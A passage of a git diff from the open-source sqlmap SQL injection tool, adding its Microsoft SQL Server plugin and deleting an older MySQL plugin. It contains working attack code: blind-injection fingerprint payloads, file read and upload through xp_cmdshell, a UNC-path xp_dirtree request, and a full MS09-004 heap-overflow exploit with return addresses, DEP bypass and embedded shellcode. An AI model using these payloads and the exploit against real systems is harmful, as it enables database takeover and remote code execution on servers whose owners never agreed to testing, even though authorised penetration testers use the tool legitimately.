BEGIN + DECLARE @tempint INT + DECLARE @firstint INT + DECLARE @secondint INT + + SET @tempint = CONVERT(INT, (SELECT ASCII(SUBSTRING(%s, @counter, 1)) FROM %s)) + SET @firstint = floor(@tempint/16) + SET @secondint = @tempint - (@firstint * 16) + SET @hexstr = @hexstr + SUBSTRING(@charset, @firstint+1, 1) + SUBSTRING(@charset, @secondint+1, 1) + + SET @counter = @counter + 1 + + IF @counter %% @chunk = 0 + BEGIN + INSERT INTO %s(%s) VALUES(@hexstr) + SET @hexstr = '' + END + END + + IF @counter %% (@chunk) != 0 + BEGIN + INSERT INTO %s(%s) VALUES(@hexstr) + END + """ % (self.tblField, txtTbl, self.tblField, txtTbl, hexTbl, self.tblField, hexTbl, self.tblField) + + binToHexQuery = binToHexQuery.replace(" ", "").replace("\n", " ") + binToHexQuery = urlencode(binToHexQuery, convall=True) + inject.goStacked(binToHexQuery) + + if kb.unionPosition: + result = inject.getValue("SELECT %s FROM %s ORDER BY id ASC" % (self.tblField, hexTbl), sort=False, resumeValue=False, blind=False) + + if not result: + result = [] + count = inject.getValue("SELECT COUNT(%s) FROM %s" % (self.tblField, hexTbl), resumeValue=False, charsetType=2) + + if not count.isdigit() or not len(count) or count == "0": + errMsg = "unable to retrieve the content of the " + errMsg += "file '%s'" % rFile + raise sqlmapNoneDataException(errMsg) + + indexRange = getRange(count) + + for index in indexRange: + chunk = inject.getValue("SELECT TOP 1 %s FROM %s WHERE %s NOT IN (SELECT TOP %d %s FROM %s ORDER BY id ASC) ORDER BY id ASC" % (self.tblField, hexTbl, self.tblField, index, self.tblField, hexTbl), unpack=False, resumeValue=False, sort=False, charsetType=3) + result.append(chunk) + + inject.goStacked("DROP TABLE %s" % hexTbl) + + return result + + def unionWriteFile(self, wFile, dFile, fileType, confirm=True): + errMsg = "Microsoft SQL Server does not support file upload with " + errMsg += "UNION query SQL injection technique" + raise sqlmapUnsupportedFeatureException(errMsg) + + def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): + # NOTE: this is needed here because we use xp_cmdshell extended + # procedure to write a file on the back-end Microsoft SQL Server + # file system. Maybe it won't be required to write text files + self.initEnv() + + self.getRemoteTempPath() + + debugMsg = "going to use xp_cmdshell extended procedure to write " + debugMsg += "the %s file content to file '%s'" % (fileType, dFile) + logger.debug(debugMsg) + + debugSize = 0xFF00 + tmpPath = posixToNtSlashes(conf.tmpPath) + dFileName = os.path.split(dFile)[1] + dFile = posixToNtSlashes(dFile) + wFileSize = os.path.getsize(wFile) + wFilePointer = open(wFile, "rb") + wFileContent = wFilePointer.read() + wFilePointer.close() + + if wFileSize < debugSize: + chunkName = self.updateBinChunk(wFileContent, tmpPath) + sFile = "%s\%s" % (tmpPath, dFileName) + + logger.debug("moving binary file %s to %s" % (sFile, dFile)) + + commands = ("cd %s" % tmpPath, + "ren %s %s" % (chunkName, dFileName), + "move /Y %s %s" % (dFileName, dFile)) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + else: + infoMsg = "the %s file is bigger than %d " % (fileType, debugSize) + infoMsg += "bytes. sqlmap will split it into chunks, upload " + infoMsg += "them and recreate the original file out of the " + infoMsg += "binary chunks server-side, wait.." + logger.info(infoMsg) + + counter = 1 + + for i in range(0, wFileSize, debugSize): + wFileChunk = wFileContent[i:i + debugSize] + chunkName = self.updateBinChunk(wFileChunk, tmpPath) + + if i == 0: + infoMsg = "renaming chunk " + copyCmd = "ren %s %s" % (chunkName, dFileName) + else: + infoMsg = "appending chunk " + copyCmd = "copy /B /Y %s+%s %s" % (dFileName, chunkName, dFileName) + + infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) + logger.debug(infoMsg) + + commands = ("cd %s" % tmpPath, + copyCmd, + "del /F %s" % chunkName) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + logger.info("file chunk %d written" % counter) + + counter += 1 + + sFile = "%s\%s" % (tmpPath, dFileName) + + logger.debug("moving binary file %s to %s" % (sFile, dFile)) + + commands = ("cd %s" % tmpPath, + "move /Y %s %s" % (dFileName, dFile)) + complComm = " & ".join(command for command in commands) + forgedCmd = self.xpCmdshellForgeCmd(complComm) + + self.execCmd(forgedCmd) + + if confirm: + self.askCheckWrittenFile(wFile, dFile, fileType) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py new file mode 100644 index 000000000..52f51c329 --- /dev/null +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -0,0 +1,229 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.agent import agent +from lib.core.common import formatDBMSfp +from lib.core.common import formatFingerprint +from lib.core.common import getHtmlErrorFp +from lib.core.common import randomInt +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.session import setDbms +from lib.core.settings import MSSQL_ALIASES +from lib.request import inject +from lib.request.connect import Connect as Request + +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self) + + def getFingerprint(self): + value = "" + wsOsFp = formatFingerprint("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + actVer = formatDBMSfp() + + if not conf.extensiveFp: + value += actVer + return value + + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None + version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None + servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None + + if release and version and servicepack: + banVer = "Microsoft SQL Server %s " % release + banVer += "Service Pack %s " % servicepack + banVer += "version %s" % version + + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = getHtmlErrorFp() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + + self.getBanner() + + if not conf.extensiveFp: + kb.os = "Windows" + + return True + + infoMsg = "testing Microsoft SQL Server" + logger.info(infoMsg) + + payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") + result = Request.queryPage(payload) + + if result: + infoMsg = "confirming Microsoft SQL Server" + logger.info(infoMsg) + + for version in (0, 5, 8): + randInt = randomInt() + query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) + payload = agent.fullPayload(query) + result = Request.queryPage(payload) + + if result: + if version == 8: + kb.dbmsVersion = ["2008"] + + break + + elif version == 5: + kb.dbmsVersion = ["2005"] + + break + + elif version == 0: + kb.dbmsVersion = ["2000"] + + break + + else: + query = " AND %d=(SELECT (CASE WHEN (SUBSTRING((@@VERSION), 22, 1)=7) THEN %d ELSE %d END))" % (randInt, randInt, (randInt + 1)) + payload = agent.fullPayload(query) + result = Request.queryPage(payload) + + if result: + kb.dbmsVersion = ["7.0"] + + break + + if kb.dbmsVersion: + setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) + else: + setDbms("Microsoft SQL Server") + + self.getBanner() + + kb.os = "Windows" + + return True + else: + warnMsg = "the back-end DMBS is not Microsoft SQL Server" + logger.warn(warnMsg) + + return False + + def checkDbmsOs(self, detailed=False): + if kb.os and kb.osVersion and kb.osSP: + return + + if not kb.os: + kb.os = "Windows" + + if not detailed: + return + + infoMsg = "fingerprinting the back-end DBMS operating system " + infoMsg += "version and service pack" + logger.info(infoMsg) + + infoMsg = "the back-end DBMS operating system is %s" % kb.os + + self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") + inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) + + versions = { "2003": ("5.2", (2, 1)), + #"2003": ("6.0", (2, 1)), + "2008": ("7.0", (1,)), + "2000": ("5.0", (4, 3, 2, 1)), + "XP": ("5.1", (2, 1)), + "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } + + # Get back-end DBMS underlying operating system version + for version, data in versions.items(): + query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Windows NT " + data[0] + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.osVersion = version + infoMsg += " %s" % kb.osVersion + + break + + if not kb.osVersion: + kb.osVersion = "2003" + kb.osSP = 2 + + warnMsg = "unable to fingerprint the underlying operating " + warnMsg += "system version, assuming it is Windows " + warnMsg += "%s Service Pack %d" % (kb.osVersion, kb.osSP) + logger.warn(warnMsg) + + self.cleanup(onlyFileTbl=True) + + return + + # Get back-end DBMS underlying operating system service pack + sps = versions[kb.osVersion][1] + + for sp in sps: + query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Service Pack " + str(sp) + "%')>0" + query = agent.forgeCaseStatement(query) + + if inject.getValue(query, charsetType=1) == "1": + kb.osSP = sp + break + + if not kb.osSP: + debugMsg = "assuming the operating system has no service pack" + logger.debug(debugMsg) + + kb.osSP = 0 + + if kb.osVersion: + infoMsg += " Service Pack %d" % kb.osSP + + logger.info(infoMsg) + + self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py new file mode 100644 index 000000000..cd4614748 --- /dev/null +++ b/plugins/dbms/mssqlserver/syntax.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapSyntaxException +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression) + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "(" + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "CHAR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "+" + + #unescaped += ")" + expression = expression.replace(old, unescaped) + else: + expression = "+".join("CHAR(%d)" % ord(c) for c in expression) + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHAR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression) + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHAR(", "").replace(")", "") + oldUpper = oldUpper.split("+") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py new file mode 100644 index 000000000..e1771240c --- /dev/null +++ b/plugins/dbms/mssqlserver/takeover.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +import binascii + +from lib.core.convert import urlencode +from lib.core.data import kb +from lib.core.data import logger +from lib.core.exception import sqlmapUnsupportedFeatureException +from lib.request import inject + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + self.spExploit = "" + + GenericTakeover.__init__(self) + + def uncPathRequest(self): + #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) + inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) + + def spHeapOverflow(self): + """ + References: + * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx + * http://support.microsoft.com/kb/959420 + """ + + returns = { + # 2003 Service Pack 0 + "2003-0": (""), + + # 2003 Service Pack 1 + "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 12/2008 + #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), + + # 2003 Service Pack 2 updated at 05/2009 + "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)") + + # 2003 Service Pack 2 updated at 09/2009 + #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), + } + addrs = None + + for versionSp, data in returns.items(): + version, sp = versionSp.split("-") + sp = int(sp) + + if kb.osVersion == version and kb.osSP == sp: + addrs = data + + break + + if addrs is None: + errMsg = "sqlmap can not exploit the stored procedure buffer " + errMsg += "overflow because it does not have a valid return " + errMsg += "code for the underlying operating system (Windows " + errMsg += "%s Service Pack %d)" % (kb.osVersion, kb.osSP) + raise sqlmapUnsupportedFeatureException(errMsg) + + shellcodeChar = "" + hexStr = binascii.hexlify(self.shellcodeString[:-1]) + + for hexPair in range(0, len(hexStr), 2): + shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2] + + shellcodeChar = shellcodeChar[:-1] + + self.spExploit = """ + DECLARE @buf NVARCHAR(4000), + @val NVARCHAR(4), + @counter INT + SET @buf = ' + DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int + EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' + SET @val = CHAR(0x41) + SET @counter = 0 + WHILE @counter < 3320 + BEGIN + SET @counter = @counter + 1 + IF @counter = 411 + BEGIN + /* pointer to call [ecx+8] */ + SET @buf = @buf + %s + + /* push ebp, pop esp, ret 4 */ + SET @buf = @buf + %s + + /* push ecx, pop esp, pop ebp, retn 8 */ + SET @buf = @buf + %s + + /* Garbage */ + SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) + + /* retn 1c */ + SET @buf = @buf + %s + + /* retn 1c */ + SET @buf = @buf + %s + + /* anti DEP */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + /* jmp esp */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) + + set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) + set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) + set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) + + /* Metasploit shellcode */ + SET @buf = @buf + %s + + SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) + SET @counter = @counter + 302 + SET @val = CHAR(0x43) + CONTINUE + END + SET @buf = @buf + @val + END + SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' + EXEC master..sp_executesql @buf + """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) + + self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") + self.spExploit = urlencode(self.spExploit, convall=True) + + logger.info("triggering the buffer overflow vulnerability, wait..") + inject.goStacked(self.spExploit, silent=True) diff --git a/plugins/dbms/mysql.py b/plugins/dbms/mysql.py deleted file mode 100644 index 2c9f2e4da..000000000 --- a/plugins/dbms/mysql.py +++ /dev/null @@ -1,571 +0,0 @@ -#!/usr/bin/env python - -""" -$Id$ - -This file is part of the sqlmap project, http://sqlmap.sourceforge.net. - -Copyright (c) 2007-2010 Bernardo Damele A. G. -Copyright (c) 2006 Daniele Bellucci - -sqlmap is free software; you can redistribute it and/or modify it under -the terms of the GNU General Public License as published by the Free -Software Foundation version 2 of the License. - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -You should have received a copy of the GNU General Public License along -with sqlmap; if not, write to the Free Software Foundation, Inc., 51 -Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import os -import re - -from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getHtmlErrorFp -from lib.core.common import normalizePath -from lib.core.common import ntToPosixSlashes -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapSyntaxException -from lib.core.session import setDbms -from lib.core.settings import MYSQL_ALIASES -from lib.core.settings import MYSQL_SYSTEM_DBS -from lib.core.unescaper import unescaper -from lib.request import inject -from lib.request.connect import Connect as Request -from lib.techniques.inband.union.test import unionTest -from lib.techniques.inband.union.use import unionUse - -from plugins.generic.enumeration import Enumeration -from plugins.generic.filesystem import Filesystem -from plugins.generic.fingerprint import Fingerprint -from plugins.generic.misc import Miscellaneous -from plugins.generic.takeover import Takeover - -class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): - """ - This class defines MySQL methods - """ - - def __init__(self): - self.__basedir = None - self.__datadir = None - self.excludeDbsList = MYSQL_SYSTEM_DBS - self.sysUdfs = { - # UDF name: UDF return data-type - "sys_exec": { "return": "int" }, - "sys_eval": { "return": "string" }, - "sys_bineval": { "return": "int" } - } - - Enumeration.__init__(self, "MySQL") - Filesystem.__init__(self) - Takeover.__init__(self) - - unescaper.setUnescape(MySQLMap.unescape) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - unescaped = "" - - for i in range(firstIndex, lastIndex): - unescaped += "%d" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "," - - expression = expression.replace(old, "CHAR(%s)" % unescaped) - else: - unescaped = "CHAR(" - unescaped += ",".join("%d" % ord(c) for c in expression) - unescaped += ")" - - expression = unescaped - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHAR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find(")") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.lstrip("CHAR(").rstrip(")") - oldUpper = oldUpper.split(",") - - escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) - expression = expression.replace(old, escaped) - - return expression - - def __commentCheck(self): - infoMsg = "executing MySQL comment injection fingerprint" - logger.info(infoMsg) - - query = agent.prefixQuery(" /* NoValue */") - query = agent.postfixQuery(query) - payload = agent.payload(newValue=query) - result = Request.queryPage(payload) - - if not result: - warnMsg = "unable to perform MySQL comment injection" - logger.warn(warnMsg) - - return None - - # MySQL valid versions updated on 01/2010 - versions = ( - (32200, 32234), # MySQL 3.22 - (32300, 32360), # MySQL 3.23 - (40000, 40032), # MySQL 4.0 - (40100, 40123), # MySQL 4.1 - (50000, 50090), # MySQL 5.0 - (50100, 50142), # MySQL 5.1 - (50400, 50405), # MySQL 5.4 - (50500, 50502), # MySQL 5.5 - (60000, 60011), # MySQL 6.0 - ) - - for element in versions: - prevVer = None - - for version in range(element[0], element[1] + 1): - randInt = randomInt() - version = str(version) - query = agent.prefixQuery(" /*!%s AND %d=%d*/" % (version, randInt, randInt + 1)) - query = agent.postfixQuery(query) - payload = agent.payload(newValue=query) - result = Request.queryPage(payload) - - if result: - if not prevVer: - prevVer = version - - if version[0] == "3": - midVer = prevVer[1:3] - else: - midVer = prevVer[2] - - trueVer = "%s.%s.%s" % (prevVer[0], midVer, prevVer[3:]) - - return trueVer - - prevVer = version - - return None - - def getFingerprint(self): - value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) - - if wsOsFp: - value += "%s\n" % wsOsFp - - if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) - - if dbmsOsFp: - value += "%s\n" % dbmsOsFp - - value += "back-end DBMS: " - actVer = formatDBMSfp() - - if not conf.extensiveFp: - value += actVer - return value - - comVer = self.__commentCheck() - blank = " " * 15 - value += "active fingerprint: %s" % actVer - - if comVer: - comVer = formatDBMSfp([comVer]) - value += "\n%scomment injection fingerprint: %s" % (blank, comVer) - - if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - - if re.search("-log$", kb.data.banner): - banVer += ", logging enabled" - - banVer = formatDBMSfp([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - - htmlErrorFp = getHtmlErrorFp() - - if htmlErrorFp: - value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - - return value - - def checkDbms(self): - """ - References for fingerprint: - - * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-x.html (up to 5.0.89) - * http://dev.mysql.com/doc/refman/5.1/en/news-5-1-x.html (up to 5.1.42) - * http://dev.mysql.com/doc/refman/5.4/en/news-5-4-x.html (up to 5.4.4) - * http://dev.mysql.com/doc/refman/5.5/en/news-5-5-x.html (up to 5.5.0) - * http://dev.mysql.com/doc/refman/6.0/en/news-6-0-x.html (manual has been withdrawn) - """ - - if conf.dbms in MYSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): - setDbms("MySQL %s" % kb.dbmsVersion[0]) - - if int(kb.dbmsVersion[0]) >= 5: - kb.data.has_information_schema = True - - self.getBanner() - - if not conf.extensiveFp: - return True - - infoMsg = "testing MySQL" - logger.info(infoMsg) - - randInt = str(randomInt(1)) - - payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()") - result = Request.queryPage(payload) - - if result: - infoMsg = "confirming MySQL" - logger.info(infoMsg) - - payload = agent.fullPayload(" AND ISNULL(1/0)") - result = Request.queryPage(payload) - - if not result: - warnMsg = "the back-end DMBS is not MySQL" - logger.warn(warnMsg) - - return False - - # Determine if it is MySQL >= 5.0.0 - if inject.getValue("SELECT %s FROM information_schema.TABLES LIMIT 0, 1" % randInt, charsetType=2) == randInt: - kb.data.has_information_schema = True - kb.dbmsVersion = [">= 5.0.0"] - - setDbms("MySQL 5") - - self.getBanner() - - if not conf.extensiveFp: - return True - - # Check if it is MySQL >= 5.5.0 - if inject.getValue("SELECT MID(TO_SECONDS(950501), 1, 1)", unpack=False, charsetType=2) == "6": - kb.dbmsVersion = [">= 5.5.0"] - - # Check if it is MySQL >= 5.1.2 and < 5.5.0 - elif inject.getValue("MID(@@table_open_cache, 1, 1)", unpack=False): - if inject.getValue("SELECT %s FROM information_schema.GLOBAL_STATUS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: - kb.dbmsVersion = [">= 5.1.12", "< 5.5.0"] - elif inject.getValue("SELECT %s FROM information_schema.PROCESSLIST LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: - kb.dbmsVersion = [">= 5.1.7", "< 5.1.12"] - elif inject.getValue("SELECT %s FROM information_schema.PARTITIONS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: - kb.dbmsVersion = ["= 5.1.6"] - elif inject.getValue("SELECT %s FROM information_schema.PLUGINS LIMIT 0, 1" % randInt, unpack=False, charsetType=2) == randInt: - kb.dbmsVersion = [">= 5.1.5", "< 5.1.6"] - else: - kb.dbmsVersion = [">= 5.1.2", "< 5.1.5"] - - # Check if it is MySQL >= 5.0.0 and < 5.1.2 - elif inject.getValue("MID(@@hostname, 1, 1)", unpack=False): - kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"] - elif inject.getValue("SELECT 1 FROM DUAL", charsetType=1) == "1": - kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"] - elif inject.getValue("DATABASE() LIKE SCHEMA()"): - kb.dbmsVersion = [">= 5.0.2", "< 5.0.11"] - else: - kb.dbmsVersion = [">= 5.0.0", "<= 5.0.1"] - - # Otherwise assume it is MySQL < 5.0.0 - else: - kb.dbmsVersion = ["< 5.0.0"] - - setDbms("MySQL 4") - - self.getBanner() - - if 